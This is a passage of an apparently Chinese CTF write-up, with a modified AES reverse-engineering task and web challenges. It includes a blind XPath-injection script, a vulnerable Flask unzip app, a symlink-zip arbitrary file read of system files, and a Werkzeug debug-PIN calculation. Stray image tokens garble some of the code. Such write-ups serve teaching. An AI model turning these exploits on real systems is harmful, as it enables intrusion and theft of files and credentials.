NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)        You should pad the end of the string with zeros if this is not the case.        For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************//* Includes:                                                                 *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset
/*****************************************************************************//* Defines:                                                                  *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4
#if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4  // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif
// jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif
/*****************************************************************************//* Private variables:                                                        *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = {    // 0     1    2      3     4    5     6     7      8    9     A      B    C    // D     E     F    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,    0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = {    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,    0x55, 0x21, 0x0c, 0x7d};#endif
// The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,                                 0x20, 0x40, 0x80, 0x1b, 0x36};
/* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */
/*****************************************************************************//* Private functions:                                                        *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){  return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {  unsigned i, j, k;  uint8_t tempa[4]; // Used for the column/row operations
  // The first round key is the key itself.  for (i = 0; i < Nk; ++i) {    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];  }
  // All other round keys are found from the previous round keys.  for (i = Nk; i < Nb * (Nr + 1); ++i) {    {      k = (i - 1) * 4;      tempa[0] = RoundKey[k + 0];      tempa[1] = RoundKey[k + 1];      tempa[2] = RoundKey[k + 2];      tempa[3] = RoundKey[k + 3];    }
    if (i % Nk == 0) {      // This function shifts the 4 bytes in a word to the left once.      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
      // Function RotWord()      {        const uint8_t u8tmp = tempa[0];        tempa[0] = tempa[1];        tempa[1] = tempa[2];        tempa[2] = tempa[3];        tempa[3] = u8tmp;      }
      // SubWord() is a function that takes a four-byte input word and      // applies the S-box to each of the four bytes to produce an output word.
      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }
      tempa[0] = tempa[0] ^ Rcon[i / Nk];    }#if defined(AES256) && (AES256 == 1)    if (i % Nk == 4) {      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }    }#endif    j = i * 4;    k = (i - Nk) * 4;    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];  }}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {  KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,                     const uint8_t *iv) {  KeyExpansion(ctx->RoundKey, key);  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif
// This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state,                        const uint8_t *RoundKey) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];    }  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxValue((*state)[j][i]);    }  }}
// The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to left  temp = (*state)[0][1];  (*state)[0][1] = (*state)[1][1];  (*state)[1][1] = (*state)[2][1];  (*state)[2][1] = (*state)[3][1];  (*state)[3][1] = temp;
  // Rotate second row 2 columns to left  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to left  temp = (*state)[0][3];  (*state)[0][3] = (*state)[3][3];  (*state)[3][3] = (*state)[2][3];  (*state)[2][3] = (*state)[1][3];  (*state)[1][3] = temp;}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) {  uint8_t i;  uint8_t Tmp, Tm, t;  for (i = 0; i < 4; ++i) {    t = (*state)[i][0];    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];    Tm = (*state)[i][0] ^ (*state)[i][1];    Tm = xtime(Tm);    (*state)[i][0] ^= Tm ^ Tmp;
    Tm = (*state)[i][1] ^ (*state)[i][2];    Tm = xtime(Tm);    (*state)[i][1] ^= Tm ^ Tmp;
    Tm = (*state)[i][2] ^ (*state)[i][3];    Tm = xtime(Tm);    (*state)[i][2] ^= Tm ^ Tmp;
    Tm = (*state)[i][3] ^ t;    Tm = xtime(Tm);    (*state)[i][3] ^= Tm ^ Tmp;  }}
// Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary//       The compiler seems to be able to vectorize the operation better this//       way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) {  return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^          ((y >> 2 & 1) * xtime(xtime(x))) ^          ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^          ((y >> 4 & 1) *           xtime(xtime(xtime(               xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y)                                                         \  (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^                                 \   ((y >> 2 & 1) * xtime(xtime(x))) ^                                          \   ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^                                   \   ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){  return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)])
// MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) {  int i;  uint8_t a, b, c, d;  for (i = 0; i < 4; ++i) {    a = (*state)[i][0];    b = (*state)[i][1];    c = (*state)[i][2];    d = (*state)[i][3];
    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^                     Multiply(d, 0x09);    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^                     Multiply(d, 0x0d);    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^                     Multiply(d, 0x0b);    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^                     Multiply(d, 0x0e);  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxInvert((*state)[j][i]);    }  }}
static void InvShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to right  temp = (*state)[3][1];  (*state)[3][1] = (*state)[2][1];  (*state)[2][1] = (*state)[1][1];  (*state)[1][1] = (*state)[0][1];  (*state)[0][1] = temp;
  // Rotate second row 2 columns to right  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to right  temp = (*state)[0][3];  (*state)[0][3] = (*state)[1][3];  (*state)[1][3] = (*state)[2][3];  (*state)[2][3] = (*state)[3][3];  (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {  for (int j = 0; j < 4; j++) {    uint8_t a = (*state)[j][0];    uint8_t b = (*state)[j][1];    uint8_t c = (*state)[j][2];    uint8_t d = (*state)[j][3];    (*state)[j][3] = a;    (*state)[j][2] = b;    (*state)[j][1] = c;    (*state)[j][0] = d;  }}
// Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  // Add the First round key to the state before starting the rounds.  AddRoundKey(0, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without MixColumns()  for (round = 1;; ++round) {    if (round != Nr) {      swap_xxx(state);    }    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    SubBytes(state);    ShiftRows(state);    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;      break;    }
    MixColumns(state);
    swap_xxx(state);    AddRoundKey(round, state, RoundKey);
    hexdump((*state), sizeof(*state));  }  hexdump(*state, sizeof(*state));  // Add round key to last round  AddRoundKey(Nr, state, RoundKey);  swap_xxx(state);}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  swap_xxx(state);  // Add the First round key to the state before starting the rounds.  AddRoundKey(Nr, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without InvMixColumn()  for (round = (Nr - 1);; --round) {    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;    }    InvShiftRows(state);    InvSubBytes(state);    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    if (round != (Nr - 1)) {      swap_xxx(state);    }    AddRoundKey(round, state, RoundKey);    if (round == 0) {      break;    }    swap_xxx(state);    InvMixColumns(state);  }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************//* Public functions:                                                         *//*****************************************************************************/#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call encrypts the PlainText with the Key using AES  // algorithm.  Cipher((state_t *)buf, ctx->RoundKey);}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call decrypts the PlainText with the Key using AES  // algorithm.  InvCipher((state_t *)buf, ctx->RoundKey);}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {  uint8_t i;  for (i = 0; i < AES_BLOCKLEN;       ++i) // The block in AES is always 128bit no matter the key size  {    buf[i] ^= Iv[i];  }}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t *Iv = ctx->Iv;  for (i = 0; i < length; i += AES_BLOCKLEN) {    XorWithIv(buf, Iv);    Cipher((state_t *)buf, ctx->RoundKey);    Iv = buf;    buf += AES_BLOCKLEN;  }  /* store Iv in ctx for next call */  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t storeNextIv[AES_BLOCKLEN];  for (i = 0; i < length; i += AES_BLOCKLEN) {    memcpy(storeNextIv, buf, AES_BLOCKLEN);    InvCipher((state_t *)buf, ctx->RoundKey);    XorWithIv(buf, ctx->Iv);    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);    buf += AES_BLOCKLEN;  }}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  uint8_t buffer[AES_BLOCKLEN];
  size_t i;  int bi;  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */    {
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);      Cipher((state_t *)buffer, ctx->RoundKey);
      /* Increment Iv and handle overflow */      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {        /* inc will overflow */        if (ctx->Iv[bi] == 255) {          ctx->Iv[bi] = 0;          continue;        }        ctx->Iv[bi] += 1;        break;      }      bi = 0;    }
    buf[i] = (buf[i] ^ buffer[bi]);  }}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {    0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,    0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,    0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,    0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,    0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,    0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,    0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,    0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,    0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,    0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,    0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,    0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,    0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,    0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,    0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {  struct AES_ctx ctx;  uint8_t key[] =      "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";  uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
  AES_init_ctx(&ctx, key);
  memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));  hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
  AES_ECB_encrypt(&ctx, buf);  hexdump(buf, sizeof(buf));
  uint8_t bufx[16] =      "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
  AES_ECB_decrypt(&ctx, bufx);  hexdump(bufx, sizeof(bufx));  return 0;}

四、web

1.题目名称:babyjava

xpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6lthbbqwzeg315460.jpgv5hnqwmvwea15462.jpg
exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)be4wd4pfuna15465.jpg

2.题目名称:OnlineUnzip

题目源代码如下:import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可ida3hbjgpt015468.jpgrvkza1jky3l15471.jpg
软链接任意读文件
flag.sh /etc/passwd
#!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flagskovnssspcw15537.jpg发现 ffffl111l1a44a4gggetngbcqy5bj15542.jpg可以看到这里是开启debug的。那么可以算pin来打huwkucibco315547.jpg可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码gp4pylsrtq115551.jpg算 pin
import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + /proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

qwhv4okjyeu15556.jpg

3.easypickle

题目源码:import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
